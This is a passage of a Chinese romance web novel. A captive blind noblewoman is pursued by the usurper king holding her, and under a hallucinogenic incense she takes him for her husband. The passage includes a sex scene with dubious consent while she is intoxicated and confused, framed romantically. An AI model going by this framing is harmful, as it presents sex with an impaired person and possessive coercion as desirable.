鹿微眠心下凉了半截,懊恼地呢喃了一句,“还是来了。”肯定是给她吃了淫药后,他准备检验一番了。 侍女听见她嘀咕,还疑惑着,“夫人知道王上会叫您过去。”“猜到了。”鹿微眠垮着脸,不然不就白给她吃那种药了吗。 侍女扶着鹿微眠过去。 鹿微眠心中祈祷着千万不要半路发作,不过好在他给她吃的药反应没有那么快。一路到承乾殿,还算是顺畅,就是马车被大太阳晒了许久,身上的热意更重。 鹿微眠被扶进门。房门关上的声音吓得她浑身一抖。 她能感觉到屋内没有了别人,只剩下不远处一道滚烫的视线打量着她。像是能将她衣物剥开,看穿她的一切。 鹿微眠心脏空悬,掌心也沁出一层薄汗。 封行渊撑着额角,隔了一段距离看她,“过来。” 鹿微眠认命似的慢吞吞地挪过去,忽然听到了猫叫声。 好像是从桌子上传来的。 封行渊适时开口,“这个小东西总是打扰我处理公务,帮我看着它。”鹿微眠脚步顿了一下,“好。” 鹿微眠寻着声音,摸到了桌边。 一颗毛茸茸的小脑袋主动蹭上她的手,鹿微眠将它抱过来,坐在旁边的座位上,“它叫什么名字。” “小黑。”小黑……鹿微眠偷偷评价,“好随意。”封行渊多看了她两眼。鹿微眠噤声,装作没说的样子。 她能摸到桌上放了很多稀奇古怪的小石头,还有线。小石头上面都打了孔,摸起来像是准备给谁做项链用的。 既然摆在这里,多半就是让她给小猫串项链,那些应该也不是普通的石头,多半是些宝石。可她看不见,能串出什么东西来,她自己也不知道。 鹿微眠小声问它,“你喜欢哪个?”她拿起一颗小石头给它看,渐渐她也能分辨出来,如果这个时候有一只小爪子把石头扒拉掉,那就是不喜欢,喵喵两声或者来蹭她就是喜欢。 鹿微眠按照它的喜好串项链。 小猫咪的喜好的确和人不一样。 人都喜欢规整的样式。它喜欢大小不一,奇形怪状,兴许还五颜六色的东西。 封行渊时不时抬眼,就能看到一人一猫坐在另一边非常安静,偶尔有些窃窃私语,听来祥和。他又收回视线,手指无声点动在桌案上。 若是说喜欢。他可能有点喜欢现在。 日头过了晌午,鹿微眠简单串了一串项链,戴在小猫的脖子上。它好像很开心,不停地摇着脑袋,发出叮叮当当的声响。 但鹿微眠这会儿明显感觉到身上热意加重。连呼吸都有些不畅。 小猫得到了属于自己的项链,开心地跑去给封行渊看。封行渊看着它脖子上亮闪闪的宝石,手指轻轻勾了一下。 这链子真好……也想给她戴上链子。这样她就跑不掉了。 封行渊不可遏抑地萌生出了坏心思。他抬头看向鹿微眠的方向,才一并发现了她的不对劲。 鹿微眠鬓角沁出一层薄汗,汗珠沾湿碎发,让她整个人都显得羸弱难耐。她手指紧紧攥着扶手,葱白指尖被自己捏得发红。 封行渊见状,轻拍了下小猫。它很是熟稔地从旁边跳下去,离开了房间。 鹿微眠眼下根本顾不上听其他的动静和声响,只能感觉到自己呼吸越来越急促。她不自觉地按住自己的胸口,抓紧衣襟。 浑身上下的燥热让她不受控制地想把衣服脱掉。只能依仗理智控制住自己想脱衣服的行为。 直到身边响起男人的声音,“你怎么了?”鹿微眠听到这询问,嗓音幽怨无比,“你明明知道。” 封行渊眼皮一跳,“我知道什么?”鹿微眠不肯答话。 他看她脸颊上满是不正常的潮红,香汗淋漓的样子。也不知道为什么酷暑天气,她穿这么多过来,“先把衣服脱了。” 鹿微眠有点委屈,迟疑了很久,手指抓着领口越抓越紧。现在还在外间书房,随时会有人进来,"我们能不能去……床上。" 封行渊顿了顿,没理解但尊重。他将手伸到她面前,让她搭着起身,送她去里间。 鹿微眠站起来就一阵眩晕,双腿一软。不等倒下,便被一只手臂拦腰扶住。 鹿微眠额头倚靠在他的胸膛上,“好难受……” 封行渊判断着她如今的情况,俯身将人抱起放在里间的鸾榻上,她这样子八成是中了暑热。他只能先伸手扯开她的裙带。偏偏她还有点委屈,被轻扯出细碎的嘤咛。 封行渊敛眸,“一会儿就好了。”鹿微眠眼睫轻颤,由着他将自己的衣裙扯开,像是一块待宰的羔羊。脑袋里开始浮现自己药效发作,他兽性大发将她生吞活剥的场景。 好可怕。 封行渊把她衣衫拨开,走到一旁橱柜,选了一件轻薄的裙子走回来。 径直看见床榻上的少女雪肤白皙透亮,如上好的美玉,封行渊脚步放缓,莫名牙根发痒。想咬。 他拿着崭新的衣物走上前。 鹿微眠身上晕眩和燥热更重,她觉得她快要不行了。她不要这样,想要解药,想要摆脱这样的痛苦。 封行渊坐在她旁边,伸手摸了摸她的额头。男人宽厚大手如同一汪清泉浸润着她,仿佛能舒服一点。 封行渊眼看着她,正要说什么,忽然间她柔软的手搭上了手腕。顺着他修长手指下滑,将他拉了下来。 封行渊一个不稳,朝着床里侧跌过去。意外间,薄唇碰到了她的脸颊。 彼此呼吸无声地纠缠在了一起,一冷一热。事态怪异地偏离正轨。 封行渊微微偏头,就蹭到了她的唇角。软唇相触的感觉很是奇妙,他薄唇发凉,尝起来像是清凉无比的薄荷糖。 燥热之人最爱薄荷糖消暑。鹿微眠茫然地抓着他的袖子,看起来楚楚可怜,雪肩瑟缩,但是没躲。 封行渊撑在她的身侧,很久没动。 还是鹿微眠先离开些许缓了一口气,身体上的难耐与心里的挣扎交织在一起,转头再度碰了碰他的唇,去找那颗甜甜的薄荷糖,“都怪你。” 鹿微眠大着胆子倾身贴上他的胸膛,神志不清地说出了心里话,“我有点喜欢你这样亲我了。”这种情况下说一些往日不会说的艳词很正常吧,她想着还给自己补了一句,“一定是药的原因。”不然她怎么会喜欢这个恶贼给她的感觉。 封行渊眸色晦暗,视线还流连在她唇间,“什么药。” 鹿微眠气息不畅,动了动唇,未等说出来什么径直晕了过去。 后面发生的事情她不记得,只记得再度醒来,周身酸软。她依然头昏脑涨,身体发烫。 鹿微眠稍一有动作,身边就传来侍女的声音,“夫人你醒了。” 侍女见她要起来,连忙阻拦,“夫人别急,你有些伤暑发热,先躺着。”鹿微眠脑袋迟钝,反应片刻,“伤暑?” “是啊。”侍女解释,“怪奴婢今日给你穿太多了,在外面晒了一阵又在屋里闷了那么久,夫人肯定会不舒服。”鹿微眠根本没有仔细听侍女说什么,满脑子都是“伤暑”两个字,“我没有被……”下药吗? 那她在那个恶贼面前! 她话还没问完,门外传来脚步声,侍女起身迎来人,"王上。" 鹿微眠稍显惊慌失措,脑海中断断续续地闪过昏迷前的画面。 封行渊抬手示意侍女下去,缓步走上前,"醒了?" 鹿微眠撑起身子,唇线绷直,“我刚刚……” “你刚刚伤暑发热,又昏厥过去,”他拖腔带调地说着,“不记得了?” 鹿微眠哽住,耳根发烫,开始胡说八道,“不太记得了。”封行渊调侃着,“封夫人记性可真不好。” 他靠近些许,鹿微眠一下子感觉到扑面而来的压迫感,不自觉地后躲。封行渊看着她樱红唇瓣,“那你还记得,你邀请我去床上,对我动手动脚拉拉扯扯,还说你有点喜欢我亲你的事情吗。” 鹿微眠心跳停滞,慌忙否认,“不可能!”她好半天才嘟囔着编借口,“我当时,我……” 封行渊慢条斯理地帮她回忆,“你当时说是药的原因。” 鹿微眠轻轻咬唇,理直气壮地破罐子破摔,“你没有给我用药吗?”封行渊戏谑道,“用的是养身体的药,你以为是什么?” 鹿微眠恨不得当场失忆,免得想起那般丢脸的场景。可这也不能怪她,她从前没有被下过药,根本分辨不出来。只是看小话本上说被下药会热,会神志不清。 何况他又拿那些东西说什么开身,她会想歪也是因为他。 “没,没以为。”鹿微眠欲盖弥彰地掀过被子,羞耻万分不想再提这个,“我要休息了。”刚转过去,她肩膀就被人扣住,压了回来。 浓烈的雄性侵略气息笼罩在她身上,下巴被人一并握住,粗粝指腹有一下没一下地刮蹭着她的唇瓣。“既然没有药,就再试试是不是真的喜欢。” 95、第95章if前世he ... 鹿微眠下颚传来强烈的桎梏力道。她撑着身子要起来,动作到一半忽而停住。 鹿微眠感觉到他与她距离极近。 她的活动空间不过咫尺,有可能动作一大就会碰到他。 多半是暑热未消,屋子里闷热难耐,让人心跳不由自主加快。 封行渊看着她微开的唇,眼帘压低,浓密的眼睫在眸中落下一层剪影。他尝试性地低头触碰她。 鹿微眠被碰到,卷翘的睫羽颤了一下。她轻轻偏头,但很快被追上,男人修长手指压着她的唇角。 清凉薄唇缓慢将她的覆盖。 鹿微眠没有拒绝的理由,原本他想对她做什么都合情合理。 可这是第一个与她这般亲密的人。她稍显生涩,不像他有些无师自通的天赋。 唇齿相依时就掺杂了攻击性。仿佛要将她的防备击溃,进攻到她脆弱柔软的心脏深处。 鹿微眠骨头发软,抓紧了身下的床褥。被陌生气息占据领地的感觉遍布四肢百骸,暖意无声氤氲流淌,升起微妙的麻。 她缩了缩肩膀,在防线失守之前停下来。 鹿微眠还残存着些许理智,撑住他的肩膀,和他拉开距离,稍显急促的呼吸着新鲜空气。她怎么能在这个人面前会觉得快乐。 封行渊看着她的反应,不确定她是喜欢还是不喜欢。反正他有点喜欢。 像是被研磨压榨的茉莉花,揉搓开花瓣。连胸腔肺腑都是茉莉花香。 想揉得再厉害一些。揉碎、揉烂。 他这般想着,手指先行一步开始按压她的唇,“怎么了。”"又想起他了,"封行渊低音萦绕着她,“喜欢他这样对你还是我?” 鹿微眠蹙眉。细想封轸都没有这样过。但也不想说出来,让这个恶贼高兴。 “他。” 封行渊眸光雀跃,暗流涌动,握住她下巴将人拉到唇边,“那再试试好了。”鹿微眠没有准备好,唇间被轻而易举地压覆,像是要将每一寸领地都沾染。然后让她带着他的气息回答,“还是更喜欢封轸?” “你再问我一百遍,一万遍,都是他……”鹿微眠再度被他堵住话语。他恶意地咬着她研磨,病态地折磨,还要逼问,“可是你好像很喜欢我这样对你。” 鹿微眠不想承认,但身体和思绪背道而驰。整个人无比挣扎。 她循规蹈矩半生,哪怕是与封轸做名义上的夫妻,也一样和慕青辞秉承礼仪规制。 她不可能会因为这样的背-德关系感觉到快乐。 肯定是身体的本能促使。 不是她自愿的。 鹿微眠这样安慰自己。 但这个恶贼并不想就这样放过她。 此后每次他来,总是爱盘问她心里到底装着谁。 有一回给她带了个香料,还说它有个好听的名字叫“醉梦”,告诉她,“不是不知道用药是什么反应吗,我给你带了一个。醉梦这个东西,用了醉生梦死,你会看到你最想见到的人,想要与他做尽最想做的事。” “要不要试试,你最想见到的是谁?” 鹿微眠一听就能听出来,这是什么用途的香料,“不试。” 他问,“不想见到他吗?” “要是认错人了怎么办。”鹿微眠听着,这个香料似乎会让人产生幻觉。 那人闻言沉默了良久,忽然笑了,“也是,你要是把我认成封轸,我会非常生气。” 鹿微眠没有接话。算是默认他说的可能性存在。 但其实这话有试探意味。封行渊看了她很久,没见她有否认的意思,心情颇好。所以,她想见他。 她不想他死,也是真的。 这个小姑娘,在他面前从来不掩饰她对封轸的在乎。恐怕换成当事人,她就不好意思再说。 封行渊偶尔会想永远装成另一个人。这样就能一直听到她的真实想法。 可是她终有一日会复明。 * 大概是鹿微眠伤暑来得正是时候,她发现他没有急着索取什么。暂时可以免于他的折磨。 这么看来,这个恶贼还有点良心。没有在她体弱的时候强来,就是偶尔会虚张声势来检查她的开身情况,但糊弄糊弄也可以过去。 原本他给的期限因为生病被无限延长。到后面,鹿微眠基本就是装的。 不过大抵是因为朝中事务的确繁忙,他来得也不勤。小黑时常喵喵喵地来陪她解闷,鹿微眠自己过得还算是舒服。 后来,她的院子里来了一批新的值守侍卫。鹿微眠没有在意,只不过在日复一日的调养之中,隐约觉得,她好像能感觉到光线了。 如果有太阳,眼前会比以往亮一些。因此立秋之后酷暑消散,她越来越爱晒太阳。 偶有一日鹿微眠出门,服侍她的侍女脚下一滑,连带着鹿微眠也险些跌倒。 好在不远处一个侍卫眼疾手快,将她扶住。鹿微眠站稳脚跟,仍然心有余悸,“多谢。” 耳边是无比熟悉的声音,“夫人当心。”鹿微眠浑身一僵。 这是慕青辞的声音! 她脑海中迅速翻过那暗不见天日的痛苦过往,警觉地抽开手,“你是?”慕青辞见状,剑眉轻蹙,眼底带过落寞,“卑职奉命前来服侍夫人。”鹿微眠缓了缓神,以为自己误会了人家,兴许只是声音像。不然这么多人,怎么可能会看不出来异常。鹿微眠被他们扶到院子里坐着晒太阳。 日落西山,回到房间后,鹿微眠还是忍不住问着侍女,"新帝,是不是已经死了?" “是啊。”侍女回禀着,“早在王上入宫第一日就处死了新帝新后。”鹿微眠心不在焉地应着。 侍女看她这副样子,“怎么了?” 鹿微眠敛起思绪,“没怎么。”她将新来侍卫的名册要过来给她念,里面包含新晋侍卫的身世家境。并没有听出来什么问题。 隔日,鹿微眠坐在窗前帮小黑串新的项链。一颗珠子从手中脱落,在桌上滚了出去。鹿微眠听着声音起身,未等她出去叫人,窗外已经有人进屋,将珠子捡起递到了她面前。 鹿微眠伸手接过来,轻声道谢。那人冷不丁开了口,"阿眠,是我。" 鹿微眠接珠子的手猛地一顿,那熟悉的感觉再度涌上来,她强忍着不安,试探道,“你是新来的侍卫?”不对,新来的侍卫不会叫她阿眠。 慕青辞握住她的手,低声重复,“是我。” 鹿微眠寒意迎头而下,想也不想掉头叫人,“来….…. 慕青辞抬手点住她的经脉,鹿微眠一下子身体不支,跌坐在座椅上,说话气力也很弱,根本无法叫人。 慕青辞握着她的手,"别怕,你听我说完我就放开你。"鹿微眠想把手抽开也使不上力气,“你还要说什么?” “自月前我前去围剿封轸之后,就重伤昏迷,登基的不是我,下令让司空府满门抄斩的也不是我,这些事情是姜崇与叶氏勾结所致。”“阿眠,你要相信我。” 鹿微眠并不打算相信他的话,“慕青辞,我信你太久了,我若不是信你也不会沦落至此。” 慕青辞凝眉,“若我当真登基,你可在我登基后见过我。” 鹿微眠忽而语塞。 “若我当初把持朝政,叛军杀进来斩杀的又是谁。” “他们斩杀的新帝是姜崇,而我一直昏迷被姜崇关在地牢!阿眠,你要信我!”慕青 辞蹲在鹿微眠身前,言辞恳切,“我们时间不多,必须长话短说。我如今脱身不易,也找到了能离开的办法。" “如果我当真是利用你,如今我大可以自己脱身离开,为何还要冒险回来找你。”“阿眠,要不要跟我一起走。” 而此时,院外不远处,封行渊不紧不慢地站定,饶有兴致地看屋内一双旧情人叙旧。看起来是在他意料之中。 鹿微眠感觉到慕青辞的手碰到她脸颊,偏头躲开,“你说的是真是假对我来说都不重要了。”“封轸到底是你利用我害死的,只凭这一点,我就永远都不可能再原谅你。” 慕青辞蹙眉。他原本以为她心里还有他,是封轸为了报复他,把她强夺留在身边。如今看来,像是她自愿的,“所以你选他是吗?” 鹿微眠抽开手,“如果还能再选一次,我不会选你。”可惜,她没有机会再选一次。 慕青辞难以接受,“可封轸他根本就不是个什么好东西。”鹿微眠平静地问,“那你呢?” 慕青辞哑然。 屋内一阵沉默。 慕青辞只能解释,“我从来都没有做过伤害你父母家人之事,也没有背叛过你。” “慕青辞,你身边谁都能做你的棋子,谁都能拿来利用。你利用我算计他,可无论如 何,封轸明知你我关系,也没有利用我算计你。他哪怕不喜欢我也没有这么做。”“你总是说为了我们的将来,可我又得到了什么。” 鹿微眠不想再与他多说,“与你有关的东西都太复杂,我不会再纠结是不是应该相信你。”“今日且当是我没有见过你。” 慕青辞眉宇间尽显落寞,“你当真……” 他话还没说完,门外紧接着传来脚步声。慕青辞没有时间多留,站在原地叹了口气,抬手解开鹿微眠身上经脉穴位,寻到后窗出口。 大抵是太过匆忙,他不小心撞到了一旁的橱柜。橱柜上瓶瓶罐罐掉落在地。 他停顿一下,顾不得捡起来,轻声说了句“抱歉”,先行离开。鹿微眠不知道他撞到了什么,总归不会是什么太要紧的东西。 那个人知道她看不见,对她房间里的用度都检查过。没有尖利、有毒这类危险的东西。 鹿微眠没有在意太多,仍然沉浸在慕青辞那些话中。 慕青辞离开屋舍,正打算从院子后门离开,两侧丛林草木中忽然间窜出来几个黑影。他一时间躲闪不及,被几个暗卫钳制住。 封行渊缓步朝他走了过来,慕青辞眸光一暗,“你一早就知道我在这?” 封行渊也不回答他的话,只挑衅地问,“死心了?” 慕青辞咬紧牙关,并不言语。 封行渊手里的折扇挑起慕青辞的下巴,逼迫他看清现实,“慕青辞,她不要你了。”“她现在只想要我呢。” * 日暮降临,天色渐晚。鹿微眠自己在房间里坐了一会儿,将方才慕青辞说的话理清楚,长叹了一口气。眼下她家里人都好好的比什么都强,况且那个人除了男女之事上的喜好乖张了一些,到底没怎么真的欺负她,日子也还好过。 她现在不奢求别的。非要说一个,就是封轸能活着回来。 她冷静下来,正好服侍她的贴身侍女从门外进来,端着晚膳和今日的汤药。 “夫人,该用晚膳吃药了。” 鹿微眠答应一声,让侍女帮她用晚膳。汤药还是那腥甜的气息。 这个药她已经喝了一个来月了。他只说是养身体,鹿微眠也没太有感觉,“你知道,这到底是治什么的药吗?” “奴婢不知。” 鹿微眠每次问,他们都不知道。起先她以为是瞒着她不说而已,眼下看来是真的不知道。鹿微眠索性也不问了,以后总会知道的。 用完膳后,汤药与晚膳的气息散去。鹿微眠准备休息时,忽而在空气中闻到了异香。 很奇特缥缈的味道,混合着清雅的花香,出现在她的屋子里有些奇怪。 鹿微眠失明之后,嗅觉同样变得敏锐。她能察觉到好像是从里间传来的味道,是今日慕青辞离开经过的地方。 鹿微眠思忖片刻,想起慕青辞临走前撞到了什么。应该是撞到了存放香料的柜子,把里面什么东西打翻了才会有这种味道。她挪到里间打算把东西收起来。 不成想,刚一打开房门,比外间浓烈数倍的香味迎面而来。大概是屋外的风将洒在地上的香料吹散在空气里,所以浓重很多。 鹿微眠走上前,摸到柜子蹲下身才发现碰掉的只有一瓶香料。那个是装在瓶子里所以容易倒,其他的都撞在了罐子里。 她伸手捡起,盈盈香雾散开,异香趁势钻入了她的鼻腔。 鹿微眠游思恍惚一下,慌忙将瓶口塞好重新放在柜子里。她正要折返回去,未等走到门口,香雾遗留的缥缈虚浮感逐渐充斥了她的脑海。 鹿微眠呼吸慢慢急促起来,骨头发软。 不同于生病的热从骨缝里蔓延开,幻化成无数小蚂蚁啃噬着她,麻痒接踵而至。 紧接着屋外传来开门声与脚步声。侍卫在跟他打招呼,“参见王上。” 96、第96章if前世he ... 鹿微眠想要出去。 房门被人先一步打开,她站不稳,一下子扶住了来人的手臂。 男人身上的清茶香气强烈地吸引着她。让她觉得喉间干渴。 这种感觉对于她来说是陌生的,陌生到一浮现,脑海和身体都受不住这样的刺激瘫软下来。 夏末衣裙仍然清凉。 封行渊扶着她,看着一抹浅粉从她衣襟透出,那抹红痣蛰伏在薄纱之下,随着她身体泛红而变得愈发潋滟。 鹿微眠知道自己不对劲,"刚刚有个香料打翻了,我多闻了几下,怎么会这样。" 清雅又迷幻的香气将整间屋子铺满,让人不注意到都难。封行渊意识到她是打翻了醉梦。 “出来透口气。”封行渊将她扶出去,送到床榻边。 可随着时间的推移,鹿微眠的反应越来越剧烈,小虫子啃得她身体空寂,像是缺了什么在里面。 鹿微眠思绪也跟着变得迷幻。封行渊将她放在鸾榻上,折返回去把房间里的气味散掉。他取了一颗静气安神的药,走回来。 鹿微眠倒是没觉得难受,只是身体很空,脑袋仿佛飘在云端,不知道今夕何夕。她闭着眼睛缓了一会儿,思绪回笼时觉得光线有些刺眼。轻轻偏头想回避光线,却觉得光影晃动得愈发厉害。 鹿微眠睁开眼睛,朦胧间看到了一个熟悉的身影。 封行渊拿着茶盏和药掀开床幔,坐在旁边,“先把药吃了。” 鹿微眠眼睫轻颤,怔愣片刻。她茫然地抓住了他的手臂起身。 封行渊手上的茶水被她碰掉,打翻在床褥上。抬眼发现她一瞬不瞬地盯着自己,她长久失焦的黑瞳有了焦点。 封行渊心下萌生出些不好的预感。第一反应竟然是心虚,不想让她看到自己,那样他就能坏得理所当然。 但鹿微眠像是想要看仔细些。眼前依然模糊无比,让人分辨不清。 但是她能看到他脸上有面具,身形像,样貌像,还戴着面具。仅仅是这些特征,就足够让鹿微眠辨认出来他是谁。 她的手摸向了他脸颊上的面具,身体的燥热再度将她的理智吞噬了个干净。 如同梦境一般。她思绪飘忽,也分不清眼前是不是现实。只是觉得自己好像做了很长时间的梦,梦里他死了,因为她死了。 从梦中醒来,他又在自己身边。他们和寻常夫妻一样,入夜安眠,踏实度日。再不参与那些永无休止的纷争。 这样的场景在失明后,她幻想过无数次。好像变成现实了。 身体上的空寂找到出口,鹿微眠抓着他的手腕,撑着绵软的身子将他抱住,“你回来了。” 封行渊身形僵硬,她像是一团棉花填满了他的胸膛。小腹被棉花塞得发紧。 鹿微眠的气息起伏也越来越不正常。小虫子啃她啃得更加酥麻,她便将自己贴得更紧,本能地寻求解脱,“我以为你死了。” 封行渊能感觉到腰上的手臂越收越紧,喉结轻滚,"不想我死?" 鹿微眠眼眶湿润,鼻尖酸涩,“不想。” 封行渊觉得那醉梦似乎也将他的意识侵染。手臂悬在半空中迟迟没有落下。 “你走了以后,好多人欺负我。”鹿微眠混混沌沌地委屈起来,细数她的遭遇,最后说道,“那个恶贼还要我跟他做夫妻间的事情,还说就喜欢嫁过人的,可是我们明明都没有……他又凭什么……" 封行渊听笑了,"那如果我就是个恶贼呢?" “你不是,”鹿微眠想也不想脱口而出,“你是个好人。” “我可不是什么好人。”封行渊将解药衔在唇间,扣住她的后颈,俯身低头。 鹿微眠看不清他唇间放了什么,只模糊地看到他的动作,以为是暗示。能和那个人做的事情,为什么和他不能。 她仰起头,触碰他的唇。 他很快就反客为主,将解药咬断,卷了一半送入她口中。 异物入口,鹿微眠本能地想要推走,却又被他缠住送了回来。强迫她吞了下去。 鹿微眠稍显被动,吞下去陌生的苦药,迷茫和恐惧隐隐显露之时,就被他铺天盖地的气息厮磨纠缠完全淹没。可这正好是她醉梦侵体所需要的。 鹿微眠好像找到自己身体缺什么了。缺了他。 屋内鸾帐薄纱被掀动起伏,灯火映照在纱帐上,显露出模糊的轮廓。很快,扬起的纱帐带过一阵香风,将床榻边的灯火吹灭。四下陡然间陷入黑暗之中。 鹿微眠浑身温热触碰到另一团热气之时,意外地没有觉得不舒服。反倒迫切地想要贴上去。 经历过这么多事情。他是她的丈夫,如果是他,没有什么不可以的。 然而,却在她靠近之前,笼罩在她身上的暗影压住她的肩膀,阻止了她靠近的动作。鹿微眠茫然地看着那黑影,看不清,但气息很熟悉。 封行渊压低身形,伏在她耳侧,“鹿微眠,你中了醉梦。”说话间,声音滚烫沙哑,像是被盛夏晚风吹拂的砂砾。磨得人心发麻。 鹿微眠蹙眉,还在脑海中思索醉梦是什么,好耳熟的东西。 “解药一人一半。”封行渊咬上她的耳尖,手指略过她的人鱼腰线,“我要你清醒地看着,我对你做的事情。”鹿微眠感觉到被打开。 他换了声线,“你把我认成了谁?”鹿微眠轻轻蹙眉,茫然地看着眼前人,“你……” 男人不遗余力地闯入她的领地。鹿微眠一下子睁大眼睛,抓紧了他撑在自己两侧的手臂,手指触碰到的都是虬结肌肉线条,像是厚实的墙壁,将她围困在方寸之间。 胀痛让她头脑有片刻的清醒,清楚地意识到自己刚刚好像是出现了幻觉。那这个人是…… 但屋内灯光尽灭,一丁点光线缝隙都没有。她也根本看不清她身上的人是谁。 不等鹿微眠思考,他先一步动作,将她所有的思绪碾碎。她尚且没有适应,跟不上便开始推拒,"等等。" 她抵在男人胸膛的手被抓住,按在头顶。“回答我,把我认成谁了?” 鹿微眠听着和刚才全然不一样的声音,一时间头皮发麻。在她城池失守,攻防无力的处境下,被肆意搅乱思绪,“没有,没有谁。” “我听到你在叫他。”他将她压到底,“你还是想见封轸,你想要他。”鹿微眠尾椎过电,周身因为醉梦而产生的反应刚刚消散,却因为他而变得愈演愈烈,但这个人不是自己的丈夫。鹿微眠不服气,"是,我想要他又怎么了。他是我夫君,你算什么。" 话音刚落,她眼睁睁地看着自己膝盖抵在了肩膀。他这会儿语调像是张狂恶鬼,轻笑出声,“让你看看我算什么。” 并不平静地鸾帐内又掀起一阵风浪,夹杂着被风浪淹没裹挟的少女啼哭。她仿佛被海浪翻卷的一叶孤舟,跌宕起伏没有着落。 小舟船板被海浪狠狠拍打,坠入深海,船板发出吱吖一声脆弱破败的声响。原本干净整洁的船舱被海水汹涌灌入,充斥盈胀,以至于船板缝隙都不断有海水溢出。 屋内的醉梦并没有消散干净。大抵是这一切发生得太快,没有来得及收拾处理。 醉梦混合着空气中被碾碎的茉莉花香,那迷幻气息膨胀蔓延,将屋内熏染得迷乱不堪。 鹿微眠不知道被哪一下弄得有些晕眩,缓过神来时眼睛适应了黑暗,轮廓更清楚了一些。她看见了他的左眼,那锐利黑瞳里藏着一抹暗色。 如果这会儿有光亮,那应该是一颗红痣。 鹿微眠恍惚中以为自己又出现了幻觉,可是怎么可以这么像。她身体放松下来,伸手想要去触碰他的眼睛。 被封行渊敏锐地察觉到,他在她的手伸过来时,握住了她的手腕,将人翻了过去。 背对着他,不再能看到他。 就这样按住她双手,覆盖她的手背,将她每一寸指缝都严丝合缝的扣住,感受她完全属于自己。看不到那幻觉一样的人影,鹿微眠仿佛又回到了现实。 拥有她的人不是她的夫君。她再度变得紧绷。 这接二连三,又颠三倒四的转折变化。她正统丈夫与邪佞恶贼交叠转变,一松一紧地拉扯着她的神经。让她在沉沦与警醒中无助挣扎,所有的感官都被放大。 她感觉自己快要失控了。 鹿微眠萌生出抗拒,又被不管不顾,强行破开阻碍,她呜呜地低骂,“混蛋。” “跟混蛋在一起也这么开心。”封行渊轻咬她肩头,“会不会开心得忘了他。” “你休想。”鹿微眠说完就又被拽入海底深渊。漩涡将她翻卷震荡,找不到出口。 好像她越是这么说,他就越想要在她身上每一处都打上标记。凶恶地留下痕迹,“可他也是个坏人啊。” 大脑一片空白。 鹿微眠眼尾沁出泪痕,手指收拢却碰到了他的手,只能虚虚地轻颤,“比你好。” 他悠然轻笑,“那阿眠最好一直都能守住。”"别让我发现,你有一天不想要你的夫君了。" 封行渊在她耳边低喃如鬼魅,“那我一定会……趁机欺负坏你。” 97、第97章if前世he ... 醉梦带来的神魂颠倒还没有消散。不知道是那一句话刺激到了鹿微眠。她浑身绷紧,脑海中火花四溅,鞭挞着她的四肢百骸。 鹿微眠在极端的快乐之中失去了思考能力。脑袋里只剩下了一个人,她念念不忘的那个人。 封行渊听到她哭吟中的名字,不知道是在求救,还是真的在叫他。回以更加深重的占据。 鹿微眠说不出话来,思绪也卡顿到了云端,轰然炸开之后堕入无边无际的黑暗之中。她做了一场梦,梦见了自己曾经幻想过的场景。 她与封行渊做着世间最寻常的夫妻,祥和平顺。也梦到了他们圆房的场景。 实际上他们之间也没有太深的感情,甚至没有太熟。圆房之际两个人都生涩笨拙。 但是擅长攻击的男人通常对如何入侵有着本能的经验。被入侵者,就被动许多。 到底不算太水到渠成。与他圆房也像是与陌生人做最亲密事情的感觉一样跟不上,梦境中总是在无助的情况下就被攻城略地。很微妙奇怪的感觉,连心跳都比节奏慢了一拍,拉扯着疯狂跳动,又喘不上气。 他要她看着。 鹿微眠不敢看,可一闭上眼睛,就仿佛从梦境中抽离。耳边声音变成了另一个人问她,“你在想谁。” 鹿微眠被自己的思绪左右夹击,才意识到,她甚至不知这个人叫什么名字,幻想中只有像极了封轸的一团虚影和封轸切实的人。循规蹈矩半生,从未有过如此出格之事,她规矩的身子骨承受着不规矩的一切。感官无限冲击着她脆弱的防线。 鹿微眠睡得浑浑噩噩,筋疲力尽。清早屋外打更,屋内人便晨起,鹿微眠才刚刚睡下不久,迷迷糊糊地睁开眼睛,只看到了模糊的光影。 身影还是很熟悉。 不等她清醒地判断出来什么,就又被铺天盖地的倦意拖拽入眠。 今日天气好像很好。正午屋外日光透过窗户薄纱洋洋洒洒地铺在鸾帐上,嗅到了空气中的暖意。 鹿微眠半梦半醒间被日光暖到眼睛时是这么想的。她翻了个身,正准备继续睡,忽然间意识到—— 阳光? 鹿微眠蓦的睁开眼睛,长久处于黑暗中的眼睛被日光刺到,她又不得不半阖双眸缓和。她伸手遮了遮眼前的光线,睫羽缝隙中打出一层光晕。 她看到了自己的手。 鹿微眠一下子坐起身。她能看到了?!她…… 鹿微眠刚一起身,身上酸麻顺着骨头充斥到脑海,提醒着她昨夜发生了什么。 醉梦到底不是一般的香料。这会儿,鹿微眠甚至分不清记忆中的梦境与现实。她看到的那些是真是假。 可现在到底是在宫里。宫里除了那个人,还能有谁。 鹿微眠呆愣愣地在原地坐了一会儿,匆忙叫人,“来人。”出声才发现,她的嗓子也是哑的。 她摇响床铃,屋外侍女便应声进门服侍。 鹿微眠看着走进来的侍女,说话是她熟悉的声音,这才有了自己复明的真实感。 侍女刚问了两句话,也察觉到了鹿微眠与往日的异样。她看着鹿微眠的眼睛,“夫人你……”鹿微眠回过神来,扶着她起身,“我好像能看见了。”侍女很是意外,伸手在她眼前晃了晃,“夫人当真?”鹿微眠点头,她环顾四周,确认这当真不是梦。 她真的能看见了。 侍女喜上眉梢,转头就出去禀报,“夫人能看见了,快去告诉王上。” 鹿微眠欣喜着,突然听到那个人的称号,心口一悸。脸颊上的笑意收敛几分。 不知怎么的,她有点怕见到那个人。即便他们才做过那么亲密的事情。 侍女去报信,立马又有两个侍女进来服侍她,一进门就是,“恭喜夫人。” 不论如何,复明还是令人高兴的。 侍女服侍她晨起梳妆。 鹿微眠这会儿对周围的一切物件都萌生出好奇心,像是个初入人间懵懂的孩子,看见什么都要摸摸碰碰,而后反应过来,她平日里用的是这些。 她的院子也比她想象中的要宽敞漂亮。院子里有很多开过或者将要盛开的花,院子里外驻守侍卫和下人有条不紊的打理着这里的一切。 眼睛里出现的东西多了,周围都仿佛热闹起来。原来她的院子并不冷清偏僻。 只是从前,她看不到。这里被人布置得很好。 小黑戴着她串的项链叮叮当当地跑进来时,鹿微眠盯着它看了很久,“是你啊。”她主动伸手将它抱起来,小黑愣在原地,眨着圆滚滚黑亮亮的眼睛与她对视,意外地伸出爪子碰了碰她的脸颊。 鹿微眠打量着它脖子上五彩斑斓的宝石项链,挂在一只小黑猫身上,很别具一格。猫猫的世界,的确喜欢色彩纷呈的东西。 她的梳妆台上,也不只是她幻想中那般单调的发饰。摆放着各式各样宝石打造的饰品。 